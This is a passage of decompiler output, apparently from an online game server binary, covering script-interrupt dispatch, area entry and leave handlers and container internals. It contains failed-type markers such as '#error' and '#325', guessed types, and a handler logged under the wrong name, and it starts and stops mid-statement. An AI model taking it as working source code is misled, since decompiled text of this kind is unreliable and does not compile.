v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, _DWORD))v10->vfptr->InterruptEvent)( *(_DWORD *)v11, *(_DWORD *)&arg->npcclick.index[0]); else ((void (__stdcall *)(_DWORD, _DWORD))v10->vfptr->InterruptEvent)(0, *(_DWORD *)&arg->npcclick.index[0]); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_UnitEvent"); } //----- (004CB8F0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_TargetChange(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_TargetChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_TargetChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_TargetChange)( *(_DWORD *)v11, arg); else ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_TargetChange)(0, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_TargetChange"); } //----- (004CBA00) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_MobHPFull(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_ObjectDead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_ObjectDead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_HPFull)( *(_DWORD *)v11, arg); else ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_HPFull)(0, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_ObjectDead"); } //----- (004CBB10) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_ObjectDead(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_ObjectDead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_ObjectDead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_ObjectDead)( *(_DWORD *)v11, arg); else ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_ObjectDead)(0, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_ObjectDead"); } //----- (004CBC20) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_AreaEntry(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_AreaEntry"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_AreaEntry"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_AreaEntry)( *(_DWORD *)v11, arg); else ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_AreaEntry)(0, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_AreaEntry"); } //----- (004CBD30) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_AreaLeave(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_AreaLeave"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_AreaLeave"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_AreaLeave)( *(_DWORD *)v11, arg); else ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_AreaLeave)(0, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_AreaLeave"); } //----- (004CBE40) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_PickUpItem(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_PickUpItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_PickUpItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_ItemPickedUp)( *(_DWORD *)v11, arg); else ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_ItemPickedUp)(0, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_PickUpItem"); } //----- (004CBF50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREAENTRY_ACK(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // ecx@4 ScriptInterrupt::InterruptHappenArgument arg; // [sp+4h] [bp-114h]@5 unsigned int v7; // [sp+108h] [bp-10h]@6 int v8; // [sp+114h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREAENTRY_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREAENTRY_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; if ( !(_S66_2 & 1) ) { _S66_2 |= 1u; cmc_53.cmc_AllowMode = 70; atexit(_E67_2); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_53.cmc_AllowMode ) { v5 = *(_DWORD *)((char *)v4 + 98); if ( v5 ) { *(_QWORD *)&arg.npcclick.index[0] = *(_QWORD *)(netcmd + 2); *(_QWORD *)&arg.npcclick.index[8] = *(_QWORD *)(netcmd + 10); *(_QWORD *)&arg.npcclick.index[16] = *(_QWORD *)(netcmd + 18); *(_QWORD *)&arg.npcclick.index[24] = *(_QWORD *)(netcmd + 26); arg.npcclick.npc = *((_WORD *)v4 + 2); Movie::CinemaComplex::cc_ScriptInterrupt( *(Movie::CinemaComplex **)(v5 + 68), ScriptInterrupt::ScriptInterruptManager::sim_AreaEntry, &arg); } } --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREAENTRY_ACK"); __security_check_cookie(v7); } //----- (004CC0B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREALEAVE_ACK(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // ebx@5 unsigned int v6; // ecx@7 unsigned __int16 v7; // dx@7 char *v8; // [sp-10h] [bp-134h]@4 ScriptInterrupt::InterruptHappenArgument arg; // [sp+4h] [bp-120h]@7 unsigned int cookie; // [sp+110h] [bp-14h]@9 int v11; // [sp+120h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREALEAVE_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREALEAVE_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v11 = 0; if ( !(_S68_1 & 1) ) { _S68_1 |= 1u; cmc_54.cmc_AllowMode = 70; atexit(_E69_1); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_54.cmc_AllowMode ) { v5 = *(_DWORD *)((char *)v4 + 98); if ( v5 ) { memset(&arg, 0, 0x104u); v6 = *(_DWORD *)(netcmd + 6); *(_DWORD *)&arg.npcclick.index[0] = *(_DWORD *)(netcmd + 2); *(_QWORD *)&arg.npcclick.index[4] = __PAIR__(*(_DWORD *)(netcmd + 10), v6); *(_QWORD *)&arg.npcclick.index[12] = *(_QWORD *)(netcmd + 14); *(_QWORD *)&arg.npcclick.index[20] = *(_QWORD *)(netcmd + 22); v7 = *((_WORD *)v4 + 2); *(_DWORD *)&arg.npcclick.index[28] = *(_DWORD *)(netcmd + 30); arg.npcclick.npc = v7; Movie::CinemaComplex::cc_ScriptInterrupt( *(Movie::CinemaComplex **)(v5 + 68), ScriptInterrupt::ScriptInterruptManager::sim_AreaLeave, &arg); v11 = -1; } else { v11 = -1; } v8 = "ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREALEAVE_ACK"; } else { v11 = -1; v8 = "ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREALEAVE_ACK"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v8); __security_check_cookie(cookie); } //----- (004CC230) -------------------------------------------------------- const char *__thiscall ScriptInterrupt::ScriptInteruptWinGuild::GetName(ScriptInterrupt::ScriptInteruptWinGuild *this) { return "WinGuild"; } //----- (004CC240) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInteruptWinGuild::UpdateArgument(ScriptInterrupt::ScriptInteruptWinGuild *this, PineScriptToken *argument) { int v2; // ST00_4@1 PineScriptToken *v3; // eax@1 v2 = this->RegNo; v3 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v3, v2); } //----- (004CC260) -------------------------------------------------------- void *__thiscall ScriptInterrupt::ScriptInteruptWinGuild::_vector_deleting_destructor_(ScriptInterrupt::ScriptInteruptWinGuild *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004CC280) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004CC3A0) -------------------------------------------------------- ScriptInterrupt::ScriptInteruptWinGuild *__cdecl ScriptInterrupt::ScriptInterruptUnit::GetInstance() { if ( !(__S70__1__GetInstance___ScriptInterruptUnit_VScriptInteruptWinGuild_ScriptInterrupt___ScriptInterrupt__SAPAVScriptInteruptWinGuild_3_XZ_4IA & 1) ) { __S70__1__GetInstance___ScriptInterruptUnit_VScriptInteruptWinGuild_ScriptInterrupt___ScriptInterrupt__SAPAVScriptInteruptWinGuild_3_XZ_4IA |= 1u; _Instance.baseclass_0.baseclass_0.baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInteruptWinGuild::_vftable_; atexit(_Instance); } return &_Instance; } // 5C5294: using guessed type int (__stdcall *ScriptInterrupt__ScriptInteruptWinGuild___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); // 124BA870: using guessed type int ?$S70_?1??GetInstance_?$ScriptInterruptUnit_VScriptInteruptWinGuild_ScriptInterrupt___ScriptInterrupt__SAPAVScriptInteruptWinGuild_3_XZ_4IA; //----- (004CC3E0) -------------------------------------------------------- #error "4CC3E0: undefined or illegal type '#325' (funcsize=20)" //----- (004CC410) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::ScriptInterruptManager(ScriptInterrupt::ScriptInterruptManager *this) { ScriptInterrupt::ScriptInterruptManager *v1; // esi@1 signed int v2; // edx@1 signed int v3; // eax@1 int v4; // edi@1 signed int v5; // ebx@1 ListStruct *v6; // ecx@3 ScriptInterrupt::ScriptInterruptArgument *v7; // ebp@3 int v8; // ecx@3 ListStruct *v9; // ecx@6 ScriptInterrupt::ScriptInterruptArgument *v10; // ebp@6 int v11; // ecx@6 ListStruct *v12; // ecx@9 ScriptInterrupt::ScriptInterruptArgument *v13; // ebp@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 ScriptInterrupt::ScriptInterruptArgument *v16; // ebp@12 int v17; // ecx@12 ListStruct *v18; // ecx@15 ScriptInterrupt::ScriptInterruptArgument *v19; // ebp@15 int v20; // ecx@15 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)ScriptInterrupt::ScriptInterruptManager::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x14u); v1->baseclass_0.vfptr = (ListVtbl *)ScriptInterrupt::ScriptInterruptManager::_vftable_; _eh_vector_constructor_iterator_( v1->sim_ArgArray, 0x220u, 20, (void (__thiscall *)(void *))ScriptInterrupt::ScriptInterruptArgument::ScriptInterruptArgument, (void (__thiscall *)(void *))ScriptInterrupt::ScriptInterruptArgument::_ScriptInterruptArgument); v2 = 2; v3 = 3; v4 = (int)&v1->sim_ArgArray[1]; v5 = 4; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = v1->baseclass_0.l_Array; v7 = v6[v3 - 3].ls_Content; v8 = (int)&v6[v3 - 3]; if ( !v7 ) *(_DWORD *)v8 = v4 - 544; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = v1->baseclass_0.l_Array; v10 = v9[v3 - 2].ls_Content; v11 = (int)&v9[v3 - 2]; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = v1->baseclass_0.l_Array; v13 = v12[v3 - 1].ls_Content; v14 = (int)&v12[v3 - 1]; if ( !v13 ) *(_DWORD *)v14 = v4 + 544; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3].ls_Content; v17 = (int)&v15[v3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 1088; } if ( v2 + 2 < v1->baseclass_0.l_MaxSize ) { v18 = v1->baseclass_0.l_Array; v19 = v18[v3 + 1].ls_Content; v20 = (int)&v18[v3 + 1]; if ( !v19 ) *(_DWORD *)v20 = v4 + 1632; } v3 += 5; v2 += 5; v4 += 2720; --v5; } while ( v5 ); } // 5C4708: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptManager___vftable_[3])(__int16 hnd); //----- (004CC550) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (004CC5C0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ScriptInterrupt::ScriptInterruptUnitBase *const *_Val) { std::vector > *v4; // esi@1 ScriptInterrupt::ScriptInterruptUnitBase **v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 #325 **v16; // eax@25 ScriptInterrupt::ScriptInterruptUnitBase **v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 #325 **v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (ScriptInterrupt::ScriptInterruptUnitBase *const *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 1073741823 - v8 < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2; v23 = 4 * _Count; _Wherea = 4 * _Count; if ( v22 >= _Count ) { v25 = (#325 **)(v20 - v23); v4->_Mylast = (ScriptInterrupt::ScriptInterruptUnitBase **)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward( *(#325 ***)&v21, v25, (#325 **)v20); std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v21 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( (std::vector > *)v4, (#325 **)v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 2)); v24 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (ScriptInterrupt::ScriptInterruptUnitBase **)v24; std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(v24 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 4 * v10; v13 = operator new(4 * v10); v14 = 4 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 2); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( (std::vector > *)v4, (#325 **)(v14 + v15), v7); memmove((char *)v16, *(char **)&_Where, 4 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (ScriptInterrupt::ScriptInterruptUnitBase **)((char *)_Newvec + _Counta); v4->_Mylast = (ScriptInterrupt::ScriptInterruptUnitBase **)((char *)_Newvec + 4 * v19); v4->_Myfirst = (ScriptInterrupt::ScriptInterruptUnitBase **)_Newvec; } } } //----- (004CC7A0) -------------------------------------------------------- ScriptInterrupt::ScriptInterruptUnitBase *__thiscall ScriptInterrupt::ScriptInterruptRegisterManager::GetInterruptByName(ScriptInterrupt::ScriptInterruptRegisterManager *this, const char *pkName) { ScriptInterrupt::ScriptInterruptRegisterManager *v2; // ebx@1 unsigned int i; // edi@1 ScriptInterrupt::ScriptInterruptUnitBase **v4; // ecx@2 ScriptInterrupt::ScriptInterruptUnitBase *v5; // esi@4 const char *v6; // eax@4 v2 = this; for ( i = 0; ; ++i ) { v4 = v2->m_vecInterrupts._Myfirst; if ( !v4 ) break; if ( v2->m_vecInterrupts._Mylast - v4 <= i ) break; v5 = v4[i]; v6 = (const char *)((int (__thiscall *)(_DWORD))v5->baseclass_0.vfptr[1].sib_NPCClicked)(v4[i]); if ( !_stricmp(v6, pkName) ) return v5; } return 0; } //----- (004CC7F0) -------------------------------------------------------- ScriptInterrupt::ScriptInterruptRegisterManager *__cdecl ScriptInterrupt::ScriptInterruptRegisterManager::GetInstance() { if ( !(__S1__1__GetInstance_ScriptInterruptRegisterManager_ScriptInterrupt__SAAAV23_XZ_4IA & 1) ) { __S1__1__GetInstance_ScriptInterruptRegisterManager_ScriptInterrupt__SAAAV23_XZ_4IA |= 1u; _ins.m_vecInterrupts._Myfirst = 0; _ins.m_vecInterrupts._Mylast = 0; _ins.m_vecInterrupts._Myend = 0; atexit(_ins); } return &_ins; } // 124BA884: using guessed type int ?$S1_?1??GetInstance_ScriptInterruptRegisterManager_ScriptInterrupt__SAAAV23_XZ_4IA; //----- (004CC850) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptAdder::ScriptInterruptAdder(ScriptInterrupt::ScriptInterruptAdder *this, ScriptInterrupt::ScriptInterruptUnitBase *pScriptBase) { ScriptInterrupt::ScriptInterruptUnitBase *v2; // ebx@1 ScriptInterrupt::ScriptInterruptRegisterManager *v3; // eax@1 ScriptInterrupt::ScriptInterruptUnitBase **v4; // edx@1 int v5; // esi@2 ScriptInterrupt::ScriptInterruptUnitBase **v6; // ecx@6 v2 = pScriptBase; v3 = ScriptInterrupt::ScriptInterruptRegisterManager::GetInstance(); v4 = v3->m_vecInterrupts._Myfirst; if ( v4 ) v5 = v3->m_vecInterrupts._Mylast - v4; else v5 = 0; if ( v4 && v5 < v3->m_vecInterrupts._Myend - v4 ) { v6 = v3->m_vecInterrupts._Mylast; *v6 = v2; v3->m_vecInterrupts._Mylast = v6 + 1; } else { std::vector>::_Insert_n( &v3->m_vecInterrupts, (std::vector 